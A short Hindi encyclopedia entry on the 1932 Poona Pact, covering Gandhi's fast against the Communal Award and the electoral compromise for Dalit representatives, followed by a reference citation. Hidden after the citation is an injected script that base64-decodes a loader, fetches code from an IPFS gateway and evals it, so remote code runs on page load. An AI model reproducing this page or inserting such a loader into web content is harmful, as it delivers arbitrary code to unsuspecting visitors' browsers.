पूना समझौता
- पूना समझौता 24 सितम्बर, 1932 ई. को हुआ था।
- यह समझौता गांधीजी की रोगशैया पर हुआ था।
- 'रैमजे मैकडोनाल्ड' के साम्प्रदायिक निर्णय के द्वारा न केवल मुसलमानों को, बल्कि दलित जाति के हिन्दुओं को सवर्ण हिन्दुओं से अलग करने के लिए भी पृथक प्रतिनिधित्व प्रदान कर दिया गया था।
- गांधीजी ने इसी के विरुद्ध आमरण उपवास आरम्भ कर दिया था।
- इस समझौते के द्वारा दलित जाति के प्रतिनिधियों को सामान्य निर्वाचन क्षेत्रों के द्वारा, जिनमें सभी ग़ैर-मुसलमानों को वोट देने का अधिकार था, निर्वाचित करने का निर्णय किया गया।
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टीका टिप्पणी और संदर्भ
भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 233।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>